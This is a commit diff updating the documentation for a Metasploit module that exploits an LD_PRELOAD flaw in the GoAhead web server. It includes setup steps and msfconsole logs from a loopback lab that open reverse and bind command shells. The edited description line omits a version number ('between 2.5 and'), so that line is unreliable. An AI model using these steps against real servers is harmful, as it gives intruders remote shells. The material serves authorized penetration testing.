Skip to content

Commit eb696ee

Browse files
committed
Documentation update
1 parent ab8886e commit eb696ee

File tree

2 files changed

+73
-18
lines changed

2 files changed

+73
-18
lines changed

documentation/modules/exploit/linux/http/goahead_ldpreload.md

Lines changed: 72 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ git checkout tags/v3.6.4 -q
1616
make > /dev/null
1717
cd test
1818
gcc ./cgitest.c -o cgi-bin/cgitest
19-
sudo ../build/linux-x64-default/bin/goahead
19+
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
2020
```
2121

2222
## Verification Steps
@@ -25,7 +25,7 @@ sudo ../build/linux-x64-default/bin/goahead
2525

2626
1. Install the application
2727
2. Start msfconsole
28-
3. Do: ```use exploit/linux/http/goahead_cgi_exec```
28+
3. Do: ```use exploit/linux/http/goahead_ldpreload```
2929
4. Do: ```set rhost [ip]```
3030
5. Do: ```exploit```
3131
6. You should get a shell.
@@ -41,21 +41,76 @@ sudo ../build/linux-x64-default/bin/goahead
4141
### GoAhead 3.6.4 on Ubuntu 16.04 x64
4242

4343
```
44-
[*] Processing goahead.rc for ERB directives.
45-
resource (goahead.rc)> use exploit/linux/http/goahead_cgi_exec
46-
resource (goahead.rc)> set verbose true
47-
verbose => true
48-
resource (goahead.rc)> set rhost 127.1.1.1
49-
rhost => 127.1.1.1
50-
resource (goahead.rc)> check
51-
<TBD>
52-
resource (goahead.rc)> exploit
53-
[*] Started reverse TCP handler on 127.1.1.1:4444
54-
[*] Sending Exploit to /cgi-bin/cgitest
55-
[*] Command shell session 1 opened (127.1.1.1:4444 -> 127.1.1.1:45762) at 2017-12-23 17:12:39 -0500
44+
45+
msf> use exploit/linux/http/goahead_preload
46+
msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
47+
msf exploit(goahead_ldpreload) > set RPORT 8080
48+
msf exploit(goahead_ldpreload) > check
49+
50+
[*] Searching 390 paths for an exploitable CGI endpoint...
51+
[+] Exploitable CGI located at /cgi-bin/cgitest
52+
[+] 127.1.1.1:8080 The target is vulnerable.
53+
54+
msf exploit(goahead_ldpreload) > exploit
55+
56+
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
57+
[*] Started reverse TCP handler on 127.0.0.1:4444
58+
[*] Searching 390 paths for an exploitable CGI endpoint...
59+
[+] Exploitable CGI located at /cgi-bin/cgitest
60+
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
61+
62+
uname -a
63+
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
64+
exit
65+
66+
msf exploit(goahead_ldpreload) > set TARGET 1
67+
msf exploit(goahead_ldpreload) > unset PAYLOAD
68+
msf exploit(goahead_ldpreload) > exploit
69+
70+
[*] Started bind handler
71+
[*] Searching 390 paths for an exploitable CGI endpoint...
72+
[+] Exploitable CGI located at /cgi-bin/cgitest
73+
[*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
74+
75+
uname -a
76+
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
77+
exit
78+
79+
msf exploit(goahead_ldpreload) > set TARGET 2
80+
msf exploit(goahead_ldpreload) > unset PAYLOAD
81+
msf exploit(goahead_ldpreload) > exploit
82+
83+
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
84+
[*] Started reverse TCP double handler on 127.0.0.1:4444
85+
[*] Searching 390 paths for an exploitable CGI endpoint...
86+
[+] Exploitable CGI located at /cgi-bin/cgitest
87+
[*] Accepted the first client connection...
88+
[*] Accepted the second client connection...
89+
[*] Command: echo sNRXNjxWl7ic0uWw;
90+
[*] Writing to socket A
91+
[*] Writing to socket B
92+
[*] Reading from sockets...
93+
[*] Reading from socket B
94+
[*] B: "sNRXNjxWl7ic0uWw\r\n"
95+
[*] Matching...
96+
[*] A is input...
97+
[*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
98+
99+
uname -a
100+
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
101+
102+
103+
msf exploit(goahead_ldpreload) > set TARGET 4
104+
msf exploit(goahead_ldpreload) > unset PAYLOAD
105+
msf exploit(goahead_ldpreload) > exploit
106+
107+
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
108+
[*] Started reverse TCP handler on 127.0.0.1:4444
109+
[*] Searching 390 paths for an exploitable CGI endpoint...
110+
[+] Exploitable CGI located at /cgi-bin/cgitest
111+
[*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
112+
56113
uname -a
57-
Linux goahead 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
114+
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
58115
59-
whoami
60-
root
61116
```

modules/exploits/linux/http/goahead_ldpreload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def initialize(info = {})
1313
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
1414
'Description' => %q{
1515
This module triggers an arbitrary shared library load vulnerability
16-
in GoAhead web server versions prior to 3.6.5 that have the CGI module
16+
in GoAhead web server versions between 2.5 and that have the CGI module
1717
enabled.
1818
},
1919
'Author' =>

0 commit comments

Comments
 (0)